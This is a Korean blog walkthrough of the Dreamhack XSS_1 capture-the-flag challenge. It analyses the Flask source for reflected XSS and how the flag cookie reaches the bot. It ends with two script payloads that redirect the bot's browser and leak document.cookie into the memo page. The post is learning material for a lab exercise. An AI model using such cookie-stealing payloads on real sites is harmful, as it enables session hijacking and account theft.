[WEB] XSS_1

hack_98·2023년 3월 16일
0

WEB

목록 보기
4/4

1. Dreamhack XSS_1번 문제

  • 문제 풀이 사이트에서 3가지의 메뉴를 확인 할 수 있음.
    • vuln , memo, flag 메뉴가 존재

1. 엔드포인트: /vuln

  • 이용자가 전달한 xss 파라미터의 값을 출력
    • 이용자가 입력한 값을 그대로 출력하기 때문에 XSS가 발생
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "") #이용자가 입력한 vlun 인자를 가져옴
    return param #이용자의 입력값을 화면 상에 표시

2. 엔드포인트: /memo

  • 이용자가 전달한 memo파라미터 값을 render_template 함수를 통해 기록 및 출력
    • render_template 함수는 HTML엔티티코드로 변환해 저장하므로 XSS발생하지 않음
@app.route("/memo") #memo 페이지 라우팅
def memo(): #memo 함수 선언
    global memo_text #메모를 전역변수로 참조
    text = request.args.get("memo", "") #사용자가 전송한 memo입력값을 가져옴
    memo_text += text + "\n" #사용자가 전송한 memo입력값을 memo_text에 추가
    return render_template("memo.html", memo=memo_text) #memo_text를 render_template를 거쳐 사이트에 출력

3. 엔드포인트: /flag

1) 엔드포인트: /flag 분석

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET": 
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'
  • GET : 이용자에게 URL을 입력 받는 페이지를 제공
  • POST : param 파라미터에 값과 쿠키를 포함 + check_xss함수 호출
    • check_xss : read_url 함수를 호출해 vlun 엔드포인트에 접속
    • check_xss로 전달하는 과정에서 “vlaue” : FLAG.strip() 을 확인함.
      여기서 FLAG 는 FLAG = open("./flag.txt", "r").read() 으로 정답 값으로 유추

2) check_xss 함수 분석

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
  • 여기서 url이 127.0.0.1 임을 통해 “입력받은 URL을 확인하는 봇” 이 구현됨을 확인
  • 입력 받은 param값을 담은 url + cookie의 값이 ⇒ read_url()에게 전달

3) read_url 함수 분석

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/") #로컬호스트 환경에서 웹 페이지를 접속
        driver.add_cookie(cookie) #전달받은 cookie를 쿠키로 추가함
        driver.get(url) # 매개변수로 받아온 사용자가 입력한 param을 포함한 url에 접속
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True
  • 로컬호스트 환경에서 웹 페이지 접속 후, FLAG값을 쿠키로 추가하며
  • 사용자로부터 입력받은 XSS값을 이용해 XSS페이지를 실행
  1. ‘/flag’ 에서 param값을 입력 후 submit 할 시 FLAG값을 쿠키에 심어서
    ‘127.0.0.1:8000’ 도메인으로 웹 서버 브라우저에 저장
  2. ‘flag’에서 입력한 param을 통해 완성된 url로 브라우저를 띄움
  3. 2번과정에서 쿠키에 FLAG가 심어지므로,
    param에 입력한 값을 통해 memo에 기록을 남길 수 있음

4. FLAG 출력

1) 삽입 스크립트

<script>location.href="http://127.0.0.1:8000/memo?memo="+document.cookie</script>
<script>location.href="/memo?memo="+document.cookie</script>
profile
Go Big or Go Home

0개의 댓글